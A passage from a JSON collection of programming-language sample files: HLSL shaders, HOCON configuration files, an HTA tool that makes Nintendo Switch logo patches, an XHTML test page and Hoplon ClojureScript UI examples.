    "content": "// From https://github.com/Unity-Technologies/PostProcessing/blob/master/PostProcessing/Resources/Shaders/Bloom.cginc\n// Licensed under the MIT license\n\n#ifndef __BLOOM__\n#define __BLOOM__\n\n#include \"Common.cginc\"\n\n// Brightness function\nhalf Brightness(half3 c)\n{\n    return Max3(c);\n}\n\n// 3-tap median filter\nhalf3 Median(half3 a, half3 b, half3 c)\n{\n    return a + b + c - min(min(a, b), c) - max(max(a, b), c);\n}\n\n// Downsample with a 4x4 box filter\nhalf3 DownsampleFilter(sampler2D tex, float2 uv, float2 texelSize)\n{\n    float4 d = texelSize.xyxy * float4(-1.0, -1.0, 1.0, 1.0);\n\n    half3 s;\n    s = DecodeHDR(tex2D(tex, uv + d.xy));\n    s += DecodeHDR(tex2D(tex, uv + d.zy));\n    s += DecodeHDR(tex2D(tex, uv + d.xw));\n    s += DecodeHDR(tex2D(tex, uv + d.zw));\n\n    return s * (1.0 / 4.0);\n}\n\n// Downsample with a 4x4 box filter + anti-flicker filter\nhalf3 DownsampleAntiFlickerFilter(sampler2D tex, float2 uv, float2 texelSize)\n{\n    float4 d = texelSize.xyxy * float4(-1.0, -1.0, 1.0, 1.0);\n\n    half3 s1 = DecodeHDR(tex2D(tex, uv + d.xy));\n    half3 s2 = DecodeHDR(tex2D(tex, uv + d.zy));\n    half3 s3 = DecodeHDR(tex2D(tex, uv + d.xw));\n    half3 s4 = DecodeHDR(tex2D(tex, uv + d.zw));\n\n    // Karis's luma weighted average (using brightness instead of luma)\n    half s1w = 1.0 / (Brightness(s1) + 1.0);\n    half s2w = 1.0 / (Brightness(s2) + 1.0);\n    half s3w = 1.0 / (Brightness(s3) + 1.0);\n    half s4w = 1.0 / (Brightness(s4) + 1.0);\n    half one_div_wsum = 1.0 / (s1w + s2w + s3w + s4w);\n\n    return (s1 * s1w + s2 * s2w + s3 * s3w + s4 * s4w) * one_div_wsum;\n}\n\nhalf3 UpsampleFilter(sampler2D tex, float2 uv, float2 texelSize, float sampleScale)\n{\n#if MOBILE_OR_CONSOLE\n    // 4-tap bilinear upsampler\n    float4 d = texelSize.xyxy * float4(-1.0, -1.0, 1.0, 1.0) * (sampleScale * 0.5);\n\n    half3 s;\n    s =  DecodeHDR(tex2D(tex, uv + d.xy));\n    s += DecodeHDR(tex2D(tex, uv + d.zy));\n    s += DecodeHDR(tex2D(tex, uv + d.xw));\n    s += DecodeHDR(tex2D(tex, uv + d.zw));\n\n    return s * (1.0 / 4.0);\n#else\n    // 9-tap bilinear upsampler (tent filter)\n    float4 d = texelSize.xyxy * float4(1.0, 1.0, -1.0, 0.0) * sampleScale;\n\n    half3 s;\n    s =  DecodeHDR(tex2D(tex, uv - d.xy));\n    s += DecodeHDR(tex2D(tex, uv - d.wy)) * 2.0;\n    s += DecodeHDR(tex2D(tex, uv - d.zy));\n\n    s += DecodeHDR(tex2D(tex, uv + d.zw)) * 2.0;\n    s += DecodeHDR(tex2D(tex, uv))        * 4.0;\n    s += DecodeHDR(tex2D(tex, uv + d.xw)) * 2.0;\n\n    s += DecodeHDR(tex2D(tex, uv + d.zy));\n    s += DecodeHDR(tex2D(tex, uv + d.wy)) * 2.0;\n    s += DecodeHDR(tex2D(tex, uv + d.xy));\n\n    return s * (1.0 / 16.0);\n#endif\n}\n\n#endif // __BLOOM__"
  },
  {
    "path": "samples/HLSL/corridor.fx",
    "content": "float4x4 matWorldView : WORLDVIEW;\nfloat4x4 matWorldViewProjection : WORLDVIEWPROJECTION;\n\nstruct VS_INPUT {\n\tfloat4 Position : POSITION0;\n\tfloat3 Normal : NORMAL;\n\tfloat3 Tangent : TANGENT;\n\tfloat3 Binormal : BINORMAL;\n\tfloat2 TexCoord0 : TEXCOORD0;\n\tfloat2 TexCoord1 : TEXCOORD1;\n};\n\nstruct VS_OUTPUT {\n\tfloat4 Position : POSITION0;\n\tfloat2 TexCoord0 : TEXCOORD0;\n\tfloat2 TexCoord1 : TEXCOORD1;\n\tfloat3x3 TangentToView : TEXCOORD2;\n};\n\nVS_OUTPUT vs_main(VS_INPUT input)\n{\n\tVS_OUTPUT output;\n\toutput.Position = mul(input.Position, matWorldViewProjection);\n\toutput.TexCoord0 = input.TexCoord0 * 5;\n\toutput.TexCoord1 = input.TexCoord1;\n\toutput.TangentToView[0] = mul(float4(input.Tangent, 0), matWorldView).xyz;\n\toutput.TangentToView[1] = mul(float4(input.Binormal, 0), matWorldView).xyz;\n\toutput.TangentToView[2] = mul(float4(input.Normal, 0), matWorldView).xyz;\n\treturn output;\n}\n\nstruct PS_OUTPUT {\n\tfloat4 gbuffer0 : COLOR0;\n\tfloat4 gbuffer1 : COLOR1;\n};\n\ntexture albedo_tex;\nsampler albedo_samp = sampler_state {\n\tTexture = (albedo_tex);\n\tMipFilter = Linear;\n\tMinFilter = Linear;\n\tMagFilter = Linear;\n\tAddressU = Wrap;\n\tAddressV = Wrap;\n\tsRGBTexture = True;\n};\n\ntexture normal_tex;\nsampler normal_samp = sampler_state {\n\tTexture = (normal_tex);\n\tMipFilter = Linear;\n\tMinFilter = Linear;\n\tMagFilter = Linear;\n\tAddressU = Wrap;\n\tAddressV = Wrap;\n\tsRGBTexture = False;\n};\n\ntexture specular_tex;\nsampler specular_samp = sampler_state {\n\tTexture = (specular_tex);\n\tMipFilter = Linear;\n\tMinFilter = Linear;\n\tMagFilter = Linear;\n\tAddressU = Wrap;\n\tAddressV = Wrap;\n\tsRGBTexture = True;\n};\n\ntexture ao_tex;\nsampler ao_samp = sampler_state {\n\tTexture = (ao_tex);\n\tMipFilter = Linear;\n\tMinFilter = Linear;\n\tMagFilter = Linear;\n\tAddressU = Wrap;\n\tAddressV = Wrap;\n\tsRGBTexture = True;\n};\n\nPS_OUTPUT ps_main(VS_OUTPUT Input)\n{\n\tPS_OUTPUT o;\n\n\tfloat3 tangentNormal = normalize(tex2D(normal_samp, Input.TexCoord0).xyz * 2 - 1);\n\tfloat3 eyeNormal = normalize(mul(tangentNormal, Input.TangentToView));\n\n\tfloat3 albedo = tex2D(albedo_samp, Input.TexCoord0).rgb;\n\tfloat ao = tex2D(ao_samp, Input.TexCoord1).r * 0.75;\n\tfloat spec = tex2D(specular_samp, Input.TexCoord0).r;\n\n\to.gbuffer0 = float4(eyeNormal, spec * ao);\n\to.gbuffer1 = float4(albedo, 1 - ao);\n\treturn o;\n}\n\ntechnique mesh {\n\tpass Geometry {\n\t\tVertexShader = compile vs_3_0 vs_main();\n\t\tPixelShader  = compile ps_3_0 ps_main();\n\n\t\tAlphaBlendEnable = False;\n\t\tZWriteEnable = True;\n\t}\n}\n"
  },
  {
    "path": "samples/HLSL/jellyfish.fx",
    "content": "float4x4 matWorldViewProjection : WORLDVIEWPROJECTION;\nfloat4x4 matWorldView : WORLDVIEW;\nfloat4x4 matWorld : WORLD;\nfloat4x4 matView : VIEW;\n\nuniform float4 vViewPosition;\n\nstruct VS_INPUT \n{\n\tfloat3 Pos:      POSITION;\n\tfloat3 Normal:   NORMAL;\n\tfloat3 Tangent:  TANGENT;\n\tfloat3 Binormal: BINORMAL;\n};\n\nstruct VS_OUTPUT \n{\n\tfloat4 Pos        : POSITION;\n\tfloat3 reflection : TEXCOORD1; \n\tfloat3 refraction : TEXCOORD2; \n\tfloat  fresnel    : TEXCOORD3;\n};\n\nuniform float3 amt;\nuniform float3 scale;\nuniform float3 phase;\n\nfloat3 deform(float3 p)\n{\n\tfloat s = 3;\n\tfloat3 p2 = p * scale + phase;\n\ts += sin(p2.x) * amt.x;\n\ts += sin(p2.y) * amt.y;\n\ts += sin(p2.z) * amt.z;\n\treturn p * s / 3;\n}\n\nVS_OUTPUT vs_main( VS_INPUT In )\n{\n\tVS_OUTPUT Out;\n\n\tfloat3 pos = In.Pos;\n\tfloat3 norm = In.Normal;\n\n\tfloat3 p1 = pos + In.Tangent * 0.05;\n\tfloat3 p2 = pos + In.Binormal * 0.05;\n\tpos = deform(pos);\n\tp1  = deform(p1);\n\tp2  = deform(p2);\n\n\tp1 -= pos;\n\tp2 -= pos;\n\tnorm = normalize(cross(p1, p2));\n\n\tfloat3 view = normalize(pos - vViewPosition.xyz);\n\n\tOut.Pos           = mul(float4(pos,  1.0), matWorldViewProjection);\n\tOut.reflection    = reflect(view, norm);\n\tOut.refraction    = reflect(view, norm * 0.4f); /* fake, but who cares? */\n\tOut.fresnel       = dot(view, norm);\n\tnorm = mul(float4(norm, 0.0), matWorldViewProjection);\n\n\treturn Out;\n}\n\n#define PS_INPUT VS_OUTPUT\n\n#if 0\ntextureCUBE reflectionMap;\nsamplerCUBE reflectionMapSampler = sampler_state\n{\n\tTexture = (reflectionMap);\n\tMipFilter = LINEAR;\n\tMinFilter = LINEAR;\n\tMagFilter = LINEAR;\n};\n#else\n// textures\ntexture reflectionMap \n< \n    string type = \"CUBE\";\n    string name = \"test_cube.dds\";\n>;\n\nsamplerCUBE reflectionMapSampler = sampler_state\n{\n\tTexture = (reflectionMap);\n\tMipFilter = LINEAR;\n\tMinFilter = LINEAR;\n\tMagFilter = LINEAR;\n};\n#endif\n\nstruct PS_OUTPUT \n{\n   float4 color    : COLOR0;\n};\n\nPS_OUTPUT ps_main( PS_INPUT In )\n{\n\tPS_OUTPUT Out;\n\t\n\tfloat4 reflection = texCUBE(reflectionMapSampler, normalize(In.reflection)) * 1.5;\n\tfloat4 refraction = texCUBE(reflectionMapSampler, normalize(In.refraction));\n\tfloat fresnel = In.fresnel;\n//\tfloat fresnel = abs(normalize(In.normal).z);\n\tOut.color = lerp(reflection, refraction, fresnel) *  pow(1.0 - fresnel * 0.75, 1.0);\n\n\treturn Out;\n}\n\ntechnique blur_ps_vs_2_0\n{\n\tpass P0\n\t{\n\t\tVertexShader = compile vs_2_0 vs_main();\n\t\tPixelShader  = compile ps_2_0 ps_main();\n\t}\n}\n"
  },
  {
    "path": "samples/HLSL/noise.fx",
    "content": "float alpha = 1.f;\n\ntexture tex;\nsampler tex_sampler = sampler_state\n{\n\tTexture = (tex);\n\tMipFilter = LINEAR;\n\tMinFilter = LINEAR;\n\tMagFilter = LINEAR;\n\t\n\tAddressU = WRAP;\n\tAddressV = WRAP;\n};\n\nstruct VS_OUTPUT\n{\n\tfloat4 pos  : POSITION;\n\tfloat2 tex  : TEXCOORD1;\n};\n\nVS_OUTPUT vertex(float4 ipos : POSITION, float2 tex  : TEXCOORD0)\n{\n\tVS_OUTPUT Out;\n\tOut.pos = ipos;\n\tOut.tex = tex * 2;\n\treturn Out;\n}\n\nfloat4 pixel(VS_OUTPUT In) : COLOR\n{\n\treturn tex2D(tex_sampler, In.tex) * alpha;\n}\n\ntechnique blur_ps_vs_2_0\n{\n\tpass P0\n\t{\n\t\tVertexShader = compile vs_2_0 vertex();\n\t\tPixelShader  = compile ps_2_0 pixel();\n\t}\n}\n"
  },
  {
    "path": "samples/HOCON/application.hocon",
    "content": "# Copyright 2022 HM Revenue & Customs\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\ninclude \"frontend.conf\"\n\nappName = \"penalties-frontend\"\nplay.http.router = prod.Routes\n\n# An ApplicationLoader that uses Guice to bootstrap the application.\nplay.application.loader = \"uk.gov.hmrc.play.bootstrap.ApplicationLoader\"\n\n# Primary entry point for all HTTP requests on Play applications\nplay.http.requestHandler = \"uk.gov.hmrc.play.bootstrap.http.RequestHandler\"\n\n# Provides an implementation of AuditConnector. Use `uk.gov.hmrc.play.bootstrap.AuditModule` or create your own.\n# An audit connector must be provided.\nplay.modules.enabled += \"uk.gov.hmrc.play.audit.AuditModule\"\n\n# Provides an implementation of MetricsFilter. Use `uk.gov.hmrc.play.bootstrap.graphite.GraphiteMetricsModule` or create your own.\n# A metric filter must be provided\nplay.modules.enabled += \"uk.gov.hmrc.play.bootstrap.graphite.GraphiteMetricsModule\"\n\n# Provides an implementation and configures all filters required by a Platform frontend microservice.\nplay.modules.enabled += \"uk.gov.hmrc.play.bootstrap.frontend.FrontendModule\"\n\n# Default http client\nplay.modules.enabled += \"uk.gov.hmrc.play.bootstrap.HttpClientModule\"\n\n# Auth client module\nplay.modules.enabled += \"uk.gov.hmrc.play.bootstrap.AuthModule\"\n\n# Custom error handler\nplay.http.errorHandler = \"config.ErrorHandler\"\n\nplay.filters.headers.contentSecurityPolicy = \"default-src 'self' 'unsafe-inline' localhost:9000 localhost:9032 localhost:12345 www.google-analytics.com https://www.googletagmanager.com data:\"\n\n# Play Modules\n# ~~~~\n# Additional play modules can be added here\n\nmicroservice {\n  metrics {\n    graphite {\n      host = localhost\n      port = 2003\n      prefix = play.${appName}.\n      enabled = true\n    }\n  }\n\n  services {\n    contact-frontend {\n      protocol = http\n      host = localhost\n      port = 9250\n    }\n\n    auth {\n      host = localhost\n      port = 8500\n    }\n\n    penalties {\n      protocol = http\n      host = localhost\n      port = 9182\n    }\n\n    vat-agent-client-lookup-frontend {\n      host = \"http://localhost:9152\"\n      startUrl = \"/vat-through-software/test-only/vaclf-stub\"\n    }\n  }\n}\n\nfeature {\n  switch {\n    call-api-1812-etmp = false\n    time-machine-now = \"\"\n  }\n}\n\nurls {\n  vatOverview = \"http://localhost:9152/vat-through-software/vat-overview\"\n  btaHomepage = \"http://localhost:9020/business-account\"\n  vatAgentClientLookUp = \"http://localhost:9149/vat-through-software/representative/client-vat-account\"\n  penaltiesAppealsBaseurl = \"http://localhost:9181\"\n}\n\nmetrics {\n  name = ${appName}\n  rateUnit = SECONDS\n  durationUnit = SECONDS\n  showSamples = true\n  jvm = true\n  enabled = false\n}\n\nauditing {\n  enabled = true\n  traceRequests = true\n  consumer {\n    baseUri {\n      host = localhost\n      port = 8100\n    }\n  }\n}\n\ncontrollers {\n  controllers.Assets = {\n    needsAuditing = false\n  }\n\n  uk.gov.hmrc.govukfrontend.controllers.Assets = {\n    needsAuditing = false\n  }\n\n  uk.gov.hmrc.hmrcfrontend.controllers.Assets = {\n      needsAuditing = false\n  }\n}\n\ntracking-consent-frontend {\n  gtm.container = \"b\"\n}\n\nsignIn {\n  url = \"http://localhost:9949/auth-login-stub/gg-sign-in\"\n  continueBaseUrl = \"http://localhost:9180\"\n}\n\nsignOut {\n  url = \"http://localhost:9553/bas-gateway/sign-out-without-state?continue=\"\n}\n\nplay.i18n.langs = [\"en\", \"cy\"]\n\n# Change this value to true to enable Welsh translations to be loaded from messages.cy, and to display the language toggle\nfeatures.welsh-language-support = true\n\ntimeout {\n  period = 900\n  countDown = 120\n}\n\nfeedback {\n  url = \"#\"\n}\n\ncontact-frontend.serviceId = \"vat-penalties\"\n\nhost = \"http://localhost:9180\"\n"
  },
  {
    "path": "samples/HOCON/filenames/.scalafix.conf",
    "content": "rules = [\n  ExplicitResultTypes,\n  OrganizeImports\n]\n\nExplicitResultTypes {\n  unsafeShortenNames = true\n}\nOrganizeImports {\n groupedImports = Explode\n expandRelative = true\n removeUnused = true # done already by RemoveUnused rule\n groups = [\n   \"re:javax?\\\\.\"\n   \"scala.\"\n   \"scala.meta.\"\n   \"*\"\n ]\n}"
  },
  {
    "path": "samples/HOCON/filenames/.scalafmt.conf",
    "content": "version=3.7.3\nrunner.dialect = scala213\nproject.git = true\nproject.excludeFilters = [\n  scalafmt-benchmarks/src/resources,\n  sbt-test\n  bin/issue\n]\nalign.preset = none\n# Disabled in default since this operation is potentially\n# dangerous if you define your own stripMargin with different\n# semantics from the stdlib stripMargin.\nassumeStandardLibraryStripMargin = true\nonTestFailure = \"To fix this, run ./scalafmt from the project root directory\""
  },
  {
    "path": "samples/HOCON/stream-collector.hocon",
    "content": "collector {\n  interface = \"0.0.0.0\"\n  port = 8080\n\n  p3p {\n    policyRef = \"/w3c/p3p.xml\"\n    CP = \"NOI DSP COR NID PSA OUR IND COM NAV STA\"\n  }\n\n  crossDomain {\n    enabled = false\n    domains = [ \"*\" ]\n    secure = false\n  }\n\n  cookie {\n    enabled = false\n    expiration = \"365 days\"\n    name = collectorCookieName\n    domain = cookieDomain\n  }\n\n  doNotTrackCookie {\n    enabled = false\n    name = doNotTrackCookieName\n    value = doNotTrackCookieValue\n  }\n\n  cookieBounce {\n    enabled = false\n    name = \"n3pc\"\n    fallbackNetworkUserId = \"00000000-0000-4000-A000-000000000000\"\n    forwardedProtocolHeader = \"X-Forwarded-Proto\"\n  }\n\n  redirectMacro {\n    enabled = false\n    placeholder = \"[TOKEN]\"\n  }\n\n  rootResponse {\n    enabled = false\n    statusCode = 302\n    headers = {\n        Location = \"https://127.0.0.1/\",\n        X-Custom = \"something\"\n    }\n    body = \"302, redirecting\"\n  }\n  \n  streams {\n    good = raw\n    bad = bad\n    useIpAddressAsPartitionKey = false\n\n    sink {\n      enabled = nsq\n      host = nsqd\n      port = 4150\n    }\n\n    buffer {\n      byteLimit = 100\n      recordLimit = 1 # emit every record for testing purposes - NOT suitable for prod\n      timeLimit = 100\n    }\n  }\n}\n\nakka {\n  loglevel = DEBUG\n  loggers = [\"akka.event.slf4j.Slf4jLogger\"]\n\n  http.server {\n    remote-address-header = on\n    raw-request-uri-header = on\n    parsing {\n      max-uri-length = 32768\n      uri-parsing-mode = relaxed\n    }\n  }\n}"
  },
  {
    "path": "samples/HTML/Crear_logo.hta",
    "content": "<html>\n<HEAD>\n<HTA:APPLICATION ID=\"oHTA\"\n     APPLICATIONNAME=\"myApp\"\n     BORDER=\"thin\"\n     BORDERSTYLE=\"normal\"\n     CAPTION=\"yes\"\n     ICON=\"icon.ico\"\n\t SCROLL=\"no\"\n     MAXIMIZEBUTTON=\"no\"\n     MINIMIZEBUTTON=\"no\"\n     SHOWINTASKBAR=\"yes\"\n     SINGLEINSTANCE=\"yes\"\n     SYSMENU=\"yes\"\n     VERSION=\"-.-\"\n\t CONTEXTMENU=\"no\"\n     WINDOWSTATE=\"normal\"/>  \n<SCRIPT Language=\"VBScript\">\nSub Window_onLoad\nOn Error Resume Next\n    window.resizeTo 400 , 205\n\tSet objFSO = CreateObject(\"Scripting.FileSystemObject\")\n\tSet f = objFSO.OpenTextFile(\"V\")\n\tdocument.title= document.title & f.ReadLine\n\t\n\tFor Each objFolder In objFSO.GetFolder(\"AAA\").SubFolders\n\t\tSet opt = document.createElement(\"option\")\n\t\tmyselect.options.add(opt)\n\t\topt.text = objFolder.Name\n\t\topt.value = objFolder.Name\n\t\topt.value = objFolder.Name\n\t\topt.title=\"Hacer Solo \"+objFolder.Name\n\tNext\nEnd Sub\n\nSub SelectFile\n    If (comenz.style.display = \"none\") Then Exit Sub End If\n    strPath = \"\"\n    strStartPath = \"\"\n    strFilter = \"Image (*.png;)|*.png;|All Files (*.*)|*.*|\"\n    strCaption = \"Select a File\"\n    strPath = Dlg.openfiledlg(CStr(strStartPath), , CStr(strFilter), CStr(strCaption))\n    If(strPath = \"\") Then \n    else\n    prev.src=strPath\n    End If\nEnd Sub\n\nSub Process\nOn Error Resume Next\n    'Get file path from INPUT\n    Dim file: file = prev.src\n    file = Replace (file , \"file:///\" ,\"\")\n    file = Replace (file , \"%20\" ,\" \")\n    Dim selects: selects = myselect.Value\n\n    'hide and show buttons\n    logs.style.display= \"table\"\n    comenz.style.display= \"none\"\n    brow.style.display= \"none\"\n    myselect.style.display= \"none\"\n    \n    Set objShell = CreateObject(\"Wscript.Shell\")\n    objShell.Run \"cmd /c rmdir ips /s/q\",0,true    \n    objShell.Run \"cmd /c mkdir ips\",0,true\n\n    Set objFSO = CreateObject(\"Scripting.FileSystemObject\")\n\n    If(selects = \"all\") Then \n        For Each objFolder In objFSO.GetFolder(\"AAA\").SubFolders\n            logs.Value= \"Creando ips para \"+objFolder.Name\n            objShell.Run \"dist\\pito\\pito.exe AAA\\\"+objFolder.Name+\" \"+Chr(34)+file+Chr(34),0,true\n        Next\n    else\n        logs.Value= \"Creando ips para \"+selects\n        objShell.Run \"dist\\pito\\pito.exe \"+Chr(34)+\"AAA\\\"+selects+Chr(34)+\" \"+Chr(34)+file+Chr(34),0,true\n    End If\n\n    dim folder: set folder = objFSO.getFolder(\"ips\")\n    if folder.files.Count = 0 then\n        objShell.PopUp \"Ha Habido un error convirtiendo:\"& vbCrLf& file &\" \",8,\"Fallido\",16\n    else\n        objShell.Run \"cmd /c mkdir ips\\atmosphere\\exefs_patches\\logo\",0,true\n        objShell.Run \"cmd /c mkdir ips\\sxos\\exefs_patches\\logo\",0,true\n        objShell.Run \"cmd /c xcopy /Y/I ips\\*.ips ips\\atmosphere\\exefs_patches\\logo\\\",0,true    \n        objShell.Run \"cmd /c move /y ips\\*.ips ips\\sxos\\exefs_patches\\logo\\\",0,true    \n        logs.Value= \"Terminado\"\n        objShell.PopUp \"Termine con  \"& file &\", revisa IPS\",8,\"Terminado\",64\n        objShell.Run \"cmd /c explorer ips\",0,true\n    End If\n    \n    'hide and show buttons\n    logs.style.display= \"none\"\n    comenz.style.display= \"table\"\n    brow.style.display= \"table\"\n    myselect.style.display= \"table\"\nEnd Sub\n</SCRIPT>\n</HEAD>\n<body style=\"background-color: #60b6eb; color: black;text-align: left;\" id=\"body\">\n<title>Logo para Switch -.- v</title>\n<p title=\"Esta es una Herramienta para cambiar el logo a la Nintendo Switch\" style=\"background-color: #a5cbf0\">\n&nbsp;PNG To IPS Logo Creator 1.0.0-.-12.x.x<br>\n&nbsp;&nbsp;&nbsp;\"PNG\" \"308x350\" \"RGBA\"<br>\n</p>\n<input type=\"text\" name=\"logs\" style=\"display: none\" size=\"30\">\n<!-- Posision Fija -->\n<img name=\"prev\" onmouseenter=\"prev.style.border='2px solid #0994ed'\" onmouseleave=\"prev.style.border='2px solid white'\" title=\"Cambiar Icono\" src=\"temp.png\" alt=\"none\" style=\"position:absolute;right:10;top:15; width:80px;border: 2px solid white;\" onClick=\"SelectFile\">\n<select title=\"Firmware Objetivo\" style=\"border: none; position:absolute;right:10;top:110; width:80px; height:80px;border: 2px solid white;\" name=\"myselect\"><option  title=\"Make ALL\" value=\"all\">Todos</option></select>\n<input title=\"Crear LOGO\" onmouseenter=\"comenz.style.border='2px solid #0994ed'\" onmouseleave=\"comenz.style.border='2px solid white'\" style=\"background-color: #056aab; position:absolute;left:10;bottom:10; border: 2px solid white; padding: 10px 15px;\tcolor: white;\tfont-size: 14px;\" type=\"button\" name=\"comenz\" onClick=\"Process\" value=\"Convertir\">\n<p id=\"Credit\" title=\"Los Culpables\" style=\"position:absolute;right:10;bottom:5;\" onmouseenter=\"Credit.style.background='#a5cbf0'\" onmouseleave=\"Credit.style.background=''\">By D3fau4 & Kronos2308</p>\n\n<OBJECT id=Dlg classid=\"CLSID:3050F4E1-98B5-11CF-BB82-00AA00BDCE0B\" width=0 height=0>\n</body>\n<!--\n<input style=\"background-color: #0994ed; border: 2px solid white;\tcolor: white;\" type=\"button\" name=\"brow\" onClick=\"SelectFile\" value=\"Browse...\"><br><br>\n<img name=\"prev\" src=\"temp.png\" alt=\"none\" style=\"width:50px; height:55px;\"><br>\n0100000000000023\n010000000000002D\n-->\n</html>"
  },
  {
    "path": "samples/HTML/example.xht",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n    <head>\n        <title>This is a XHTML sample file</title>\n        <style type=\"text/css\"><![CDATA[\n            #example {\n                background-color: yellow;\n            }\n        ]]></style>\n    </head>\n    <body>\n        <div id=\"example\">\n            Just a simple <strong>XHTML</strong> test page.\n        </div>\n    </body>\n</html>\n\n"
  },
  {
    "path": "samples/HTML/index.html.hl",
    "content": "<script type=\"text/hoplon\">\n(page \"index.html\")\n\n(defn mouse-loc->vec\n  \"Given a Google Closure normalized DOM mouse event return the\n  mouse x and y position as a two element vector.\"\n  [e]\n  [(.-clientX e) (.-clientY e)])\n\n;; =============================================================================\n;; Example 1\n\n(defc ex1-content         [\"Waiting for a click ....\"])\n(defc ex1-click-count     0)\n(defn ex1 []\n  (when (< @ex1-click-count 1)\n    (swap! ex1-click-count inc)\n    (swap! ex1-content conj \"Got a click!\")))\n\n;; =============================================================================\n;; Example 2\n\n(defc ex2-content         [\"Waiting for a click ....\"])\n(defc ex2-click-count     0)\n(defn ex2 []\n  (when (= @ex2-click-count 1)\n    (swap! ex2-click-count inc)\n    (swap! ex2-content conj \"Done\"))\n  (when (= @ex2-click-count 0)\n    (swap! ex2-click-count inc)\n    (swap! ex2-content conj \"Got a Click!\" \"Waiting for another click ....\")))  \n\n;; =============================================================================\n;; Example 3\n\n(defc ex3-content           [\"Waiting for a click from Button A .....\"])\n(defc ex3-click-count-a     0)\n(defc ex3-click-count-b     0)\n(defn ex3a []\n  (when (= @ex3-click-count-a 0)\n    (swap! ex3-click-count-a inc)\n    (swap! ex3-content conj \"Got a click!\" \"Waiting for a click from Button B ....\")) )\n(defn ex3b []\n  (when (and (= @ex3-click-count-a 1) (= @ex3-click-count-b 0))\n    (swap! ex3-click-count-b inc)\n    (swap! ex3-content conj \"Done!\")))\n\n;; =============================================================================\n;; Example 6\n\n(defc ex6-content           [\"Click the button to start tracking the mouse.\"])\n(defc ex6-button-name       \"GO!\")\n(defn ex6-toggle []\n  (let [new-name    (if (= @ex6-button-name \"GO!\") \"STOP!\" \"GO!\")]\n    (reset! ex6-button-name new-name)))\n(defn ex6 [e]\n  (when (= @ex6-button-name \"STOP!\")\n    (swap! ex6-content conj (str (mouse-loc->vec e)))))\n\n;; =============================================================================\n;; Example 7\n\n(defc ex7-content         [\"Click the button to start tracking the mouse.\"])\n(defc ex7-button-name     \"GO!\")\n(defn ex7-toggle []\n  (let [new-name    (if (= @ex7-button-name \"GO!\") \"STOP!\" \"GO!\")]\n    (reset! ex7-button-name new-name)))\n(defn ex7 [e]\n  (when (= @ex7-button-name \"STOP!\")\n    (let [[x y :as  m]   (mouse-loc->vec e)]\n      (when (zero? (mod y 5))\n        (swap! ex7-content conj (str m))))))\n\n;; =============================================================================\n;; Example 8\n\n(defc ex8-content       [\"Click the button ten times.\"])\n(defc ex8-click-count   0)\n(defn ex8 []\n  (when (< @ex8-click-count 10)\n    (swap! ex8-click-count inc)\n    (when (= @ex8-click-count 1)\n      (swap! ex8-content conj \"1 Click!\"))\n    (when (> @ex8-click-count 1)\n      (swap! ex8-content conj (str @ex8-click-count \" clicks!\")))\n    (when (= @ex8-click-count 10)\n      (swap! ex8-content conj \"Done.\"))))\n\n;; =============================================================================\n;; Example 9\n\n(defc ex9-index       0)\n(defc ex9-animals     [:aardvark :beetle :cat :dog :elk :ferret\n                     :goose :hippo :ibis :jellyfish :kangaroo])\n(defc= ex9-card           (nth ex9-animals ex9-index))\n(defn ex9-prev []\n  (when (> @ex9-index 0)\n    (swap! ex9-index dec)))\n(defn ex9-next []\n  (when (< @ex9-index (dec (count @ex9-animals)))\n    (swap! ex9-index inc)))\n\n;; =============================================================================\n;; Example 10\n\n(defc ex10-button-name  \"START!\")\n(defc ex10-index       0)\n(defn ex10 []\n  (let [the-name    @ex10-button-name]\n  (when (= the-name\"START!\")\n    (reset! ex10-button-name \"STOP!\"))\n  (when (= the-name\"STOP!\")\n    (reset! ex10-button-name \"DONE!\"))))\n(defc ex10-animals     [:aardvark :beetle :cat :dog :elk :ferret\n                     :goose :hippo :ibis :jellyfish :kangaroo])\n(defc= ex10-max        (dec (count ex10-animals)))\n(defc= ex10-card           (nth ex10-animals ex10-index))\n(defn ex10-prev []\n  (if (> @ex10-index 0)\n    (swap! ex10-index dec)\n    (reset! ex10-index @ex10-max)))\n(defn ex10-next []\n  (if (< @ex10-index @ex10-max)\n    (swap! ex10-index inc)\n    (reset! ex10-index 0)))\n(defn ex10-nav [k]\n  (when (= @ex10-button-name \"STOP!\")\n    (when (= k :next)\n      (ex10-next))\n    (when (= k :prev)\n      (ex10-prev))))\n\n(defn ex10-keys [e]\n  (when (= @ex10-button-name \"STOP!\")\n    (if (= (.-keyCode e) 39) (ex10-nav :next))\n    (if (= (.-keyCode e) 37) (ex10-nav :prev))\n    )\n  )\n</script>\n\n<html>\n    <head>\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\" />\n    </head>\n    <body>\n        <!-- Example 1 -->\n        <div id=\"ex1\" class=\"example\">\n            <h2>Example 1</h2>\n            <table>\n                <tr>\n                    <td class=\"left\">\n                        <button id=\"ex1-button\" on-click='{{ #(ex1) }}'>Click me</button>\n                    </td>\n                    <td id=\"ex1-display\" class=\"display\">\n                        <div id=\"ex1-messages\">\n                        <loop-tpl bindings='{{ [x ex1-content] }}'>\n                          <p><text>~{x}</text></p>\n                        </loop-tpl>\n                        </div>\n                    </td>\n                </tr>\n            </table>\n        </div>\n\n        <!-- Example 2 -->\n        <div id=\"ex2\" class=\"example\">\n            <h2>Example 2</h2>\n            <table>\n                <tr>\n                    <td class=\"left\">\n                        <button id=\"ex2-button\" on-click='{{ #(ex2) }}'>Click me</button>\n                    </td>\n                    <td id=\"ex2-display\" class=\"display\">\n                        <div id=\"ex2-messages\">\n                        <loop-tpl bindings='{{ [x ex2-content] }}'>\n                          <p><text>~{x}</text></p>\n                        </loop-tpl>\n                        </div>\n                    </td>\n                </tr>\n            </table>\n        </div>\n        \n        <!-- Example 3 -->\n        <div id=\"ex3\" class=\"example\">\n            <h2>Example 3</h2>\n            <table>\n                <tr>\n                    <td class=\"left\">\n                        <button id=\"ex3-button-a\" on-click='{{ #(ex3a) }}'>Button A</button>\n                        <button 